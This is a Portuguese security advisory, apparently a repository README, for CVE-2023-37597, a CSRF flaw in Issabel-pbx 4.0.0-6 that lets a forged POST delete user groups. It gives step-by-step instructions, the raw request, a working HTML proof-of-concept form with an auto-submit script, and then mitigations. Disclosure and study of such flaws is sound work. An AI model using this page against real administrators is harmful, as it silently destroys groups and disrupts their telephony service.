
Issabel-pbx v 4.0.0-6 contém uma vulnerabilidade de Cross-Site Request Forgery (CSRF) na sua funcionalidade de gerenciamento de grupos de usuários.
Aviso legal: Este repositório destina-se exclusivamente a fins educacionais e de pesquisa de segurança autorizada. Não utilize este exploit contra qualquer sistema que você não possua ou para o qual não tenha permissão explícita por escrito para testar.
issabel-pbx é uma plataforma de Comunicações Unificadas (PBX) de código aberto amplamente utilizada que fornece serviços VoIP, gerenciamento de telefonia e administração baseada na web. A versão 4.0.0-6 do issabel-pbx contém uma vulnerabilidade de na funcionalidade de gerenciamento de grupos de usuários.
Um atacante remoto não autenticado pode criar uma página HTML maliciosa que, quando visitada por um administrador autenticado, envia silenciosamente uma solicitação HTTP POST forjada para excluir qualquer grupo de usuários. Como o aplicativo não valida a origem de solicitações que alteram o estado com tokens CSRF ou políticas de cookie SameSite, o navegador inclui automaticamente o cookie de sessão do administrador, fazendo com que a exclusão seja concluída sem o conhecimento ou consentimento da vítima.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2023-37597 |
| Vulnerabilidade | Falsificação de Solicitação entre Sites (CSRF) |
| CWE | CWE-352 — Falsificação de Solicitação entre Sites (CSRF) |
| Gravidade | Média |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Versão Afetada | issabel-pbx 4.0.0-6 |
| Divulgado em | 10 de julho de 2023 |
| Pesquisador | Sahil Ojha |
| Campo | Valor |
|---|---|
| Nome do Produto | issabel-pbx |
| Versão | 4.0.0-6 |
| Fornecedor | Issabel Foundation |
| Página do Fornecedor | https://www.issabel.org/ |
| Código-Fonte | https://github.com/IssabelFoundation/issabelPBX |
| Testado em | Windows (Burp Suite Community Edition) |
Falsificação de Solicitação entre Sites (CSRF) é um ataque que engana o navegador da vítima para que ele envie uma solicitação autenticada ao aplicativo alvo em nome do atacante. O ataque é bem-sucedido quando:
Origin/Referer, sem atributo de cookie SameSite=Strict ou SameSite=Lax).O endpoint de exclusão de Grupo de Usuários (/index.php?menu=grouplist) no issabel-pbx 4.0.0-6 processa solicitações HTTP POST que contêm apenas a ação delete e um parâmetro id_user. O aplicativo não:
Origin ou Referer.SameSite nos cookies de sessão.Como resultado, qualquer página da web carregada no navegador da vítima pode enviar silenciosamente o formulário de exclusão usando a sessão existente da vítima, pois o navegador anexará automaticamente o cookie de sessão.
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
Aviso: O PoC a seguir é fornecido estritamente para fins educacionais. Utilize-o apenas em ambientes de laboratório ou sistemas para os quais você tenha autorização explícita.
Passo 1 — Faça login no painel administrativo do Issabel
Navegue até a página de lista de Grupos de Usuários e faça login com credenciais de administrador.
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

Passo 2 — Capture a solicitação de exclusão
Tente excluir um grupo de usuários enquanto intercepta o tráfego pelo Burp Suite. Clique com o botão direito na solicitação POST capturada e selecione Engagement Tools → Generate CSRF PoC para gerar o esqueleto HTML do exploit.

Passo 3 — Hospede a página de exploit CSRF
Salve o HTML gerado como um arquivo (veja Código do Exploit PoC abaixo). Hospede-o em um servidor controlado pelo atacante ou envie-o diretamente à vítima.
Passo 4 — A vítima abre a página de exploit
Quando o administrador autenticado abre ou é redirecionado para a URL do exploit, o formulário oculto é enviado automaticamente (ou a vítima clica no botão de isca). O grupo de usuários alvo é excluído do painel administrativo.


O seguinte arquivo HTML (também disponível como CSRF exploit.html) demonstra o ataque. Substitua {Issabel IP} pelo host alvo e ajuste id_user para corresponder ao ID do grupo que você deseja excluir.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Variante de envio automático: Para eliminar a necessidade de a vítima clicar em qualquer coisa, adicione o seguinte dentro da tag
<body>para que o formulário seja enviado automaticamente ao carregar a página:<script>document.forms[0].submit();</script>
| Dimensão | Descrição |
|---|---|
| Integridade | Um atacante pode excluir silenciosamente qualquer grupo de usuários do painel administrativo do Issabel. |
| Disponibilidade | A exclusão de grupos de usuários interrompe as regras de roteamento de chamadas, o controle de acesso e os serviços de telefonia de todos os usuários pertencentes a esses grupos, configurando uma negação de serviço parcial. |
| Confidencialidade | Não é diretamente afetada por esta vulnerabilidade. |
Administradores e desenvolvedores devem aplicar as seguintes defesas:
Implemente Tokens CSRF (Padrão de Token Sincronizador)
Defina o Atributo de Cookie SameSite
SameSite=Lax (mínimo) ou SameSite=Strict para impedir que solicitações entre origens carreguem credenciais de sessão.Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnlyValide os Cabeçalhos Origin e Referer
Origin ou Referer não corresponda ao domínio do próprio aplicativo.Exija Reautenticação para Ações Destrutivas
Aplique Defesa em Profundidade
| Data | Evento |
|---|---|
| 10 de julho de 2023 | Vulnerabilidade descoberta e documentada por Sahil Ojha |
| 10 de julho de 2023 | CVE-2023-37597 atribuído |
| 10 de julho de 2023 | Divulgação pública |
Sahil Ojha Pesquisador de Segurança
Se você achou esta pesquisa útil, sinta-se à vontade para ⭐ dar uma estrela no repositório.